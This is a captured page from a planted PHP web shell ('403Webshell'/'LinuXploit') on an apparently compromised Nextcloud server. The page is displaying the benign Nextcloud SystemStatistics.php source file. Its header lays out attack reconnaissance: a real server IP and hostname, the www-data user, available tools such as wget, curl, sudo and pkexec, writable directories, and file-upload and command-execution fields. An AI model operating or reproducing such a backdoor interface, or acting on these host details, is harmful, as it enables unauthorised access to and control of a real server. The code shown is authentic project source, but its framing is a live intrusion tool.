403Webshell
Server IP : 85.214.143.32  /  Your IP : 216.73.216.33
Web Server : nginx/1.24.0
System : Linux datensicherung.webdress.site 6.8.0-142-generic #142-Ubuntu SMP PREEMPT_DYNAMIC Wed Sep 2 14:24:27 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/nextcloud/apps/serverinfo/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/nextcloud/apps/serverinfo/lib/SystemStatistics.php
<?php

declare(strict_types=1);

/**
 * SPDX-FileCopyrightText: 2016 Nextcloud GmbH and Nextcloud contributors
 * SPDX-License-Identifier: AGPL-3.0-or-later
 */

namespace OCA\ServerInfo;

use OC\Files\View;
use OC\Installer;
use OCP\App\IAppManager;
use OCP\Files\FileInfo;
use OCP\IConfig;

class SystemStatistics {
	private IConfig $config;
	private View $view;
	private IAppManager $appManager;
	private Installer $installer;
	protected Os $os;

	public function __construct(IConfig $config, IAppManager $appManager, Installer $installer, Os $os) {
		$this->config = $config;
		$this->view = new View('');
		$this->appManager = $appManager;
		$this->installer = $installer;
		$this->os = $os;
	}

	/**
	 * Get statistics about the system
	 *
	 * @throws \OCP\Files\InvalidPathException
	 */
	public function getSystemStatistics(bool $skipApps = false, bool $skipUpdate = true): array {
		$cpu = $this->os->getCPU();
		$memory = $this->os->getMemory();

		$data = [
			'version' => $this->config->getSystemValue('version'),
			'theme' => $this->config->getSystemValue('theme', 'none'),
			'enable_avatars' => $this->config->getSystemValue('enable_avatars', true) ? 'yes' : 'no',
			'enable_previews' => $this->config->getSystemValue('enable_previews', true) ? 'yes' : 'no',
			'memcache.local' => $this->config->getSystemValue('memcache.local', 'none'),
			'memcache.distributed' => $this->config->getSystemValue('memcache.distributed', 'none'),
			'filelocking.enabled' => $this->config->getSystemValue('filelocking.enabled', true) ? 'yes' : 'no',
			'memcache.locking' => $this->config->getSystemValue('memcache.locking', 'none'),
			'debug' => $this->config->getSystemValue('debug', false) ? 'yes' : 'no',
			'freespace' => $this->getFreeSpace(),
			'cpuload' => $cpu->getAverageLoad(),
			'cpunum' => $cpu->getThreads(),
			'mem_total' => $memory->getMemTotal() * 1024,
			'mem_free' => $memory->getMemAvailable() * 1024,
			'swap_total' => $memory->getSwapTotal() * 1024,
			'swap_free' => $memory->getSwapFree() * 1024,
		];

		if (!$skipApps) {
			$data['apps'] = $this->getAppsInfo();
		}

		if (!$skipUpdate) {
			$data['update'] = $this->getServerUpdateInfo();
		}

		return $data;
	}

	/**
	 * Get info about server updates and last checked timestamp
	 *
	 * @return array information about core updates
	 */
	protected function getServerUpdateInfo(): array {
		$updateInfo = [
			'lastupdatedat' => (int)$this->config->getAppValue('core', 'lastupdatedat'),
			'available' => false,
		];

		$lastUpdateResult = json_decode($this->config->getAppValue('core', 'lastupdateResult'), true);
		if (is_array($lastUpdateResult)) {
			$updateInfo['available'] = (count($lastUpdateResult) > 0);
			if (array_key_exists('version', $lastUpdateResult)) {
				$updateInfo['available_version'] = $lastUpdateResult['version'];
			}
		}

		return $updateInfo;
	}

	/**
	 * Get some info about installed apps, including available updates.
	 *
	 * @return array data about apps
	 */
	protected function getAppsInfo(): array {
		// sekeleton about the data we return back
		$info = [
			'num_installed' => 0,
			'num_updates_available' => 0,
			'app_updates' => [],
		];

		// load all apps
		$apps = $this->appManager->getInstalledApps();
		$info['num_installed'] = \count($apps);

		// iteriate through all installed apps.
		foreach ($apps as $appId) {
			// check if there is any new version available for that specific app
			$newVersion = $this->installer->isUpdateAvailable($appId);
			if ($newVersion) {
				// new version available, count up and tell which version.
				$info['num_updates_available']++;
				$info['app_updates'][$appId] = $newVersion;
			}
		}

		return $info;
	}

	/**
	 * Get free space if it can be calculated.
	 *
	 * @return mixed free space or null
	 * @throws \OCP\Files\InvalidPathException
	 */
	protected function getFreeSpace() {
		$free_space = $this->view->free_space();
		if ($free_space === FileInfo::SPACE_UNKNOWN
			|| $free_space === FileInfo::SPACE_UNLIMITED
			|| $free_space === FileInfo::SPACE_NOT_COMPUTED) {
			return null;
		}
		return $free_space;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit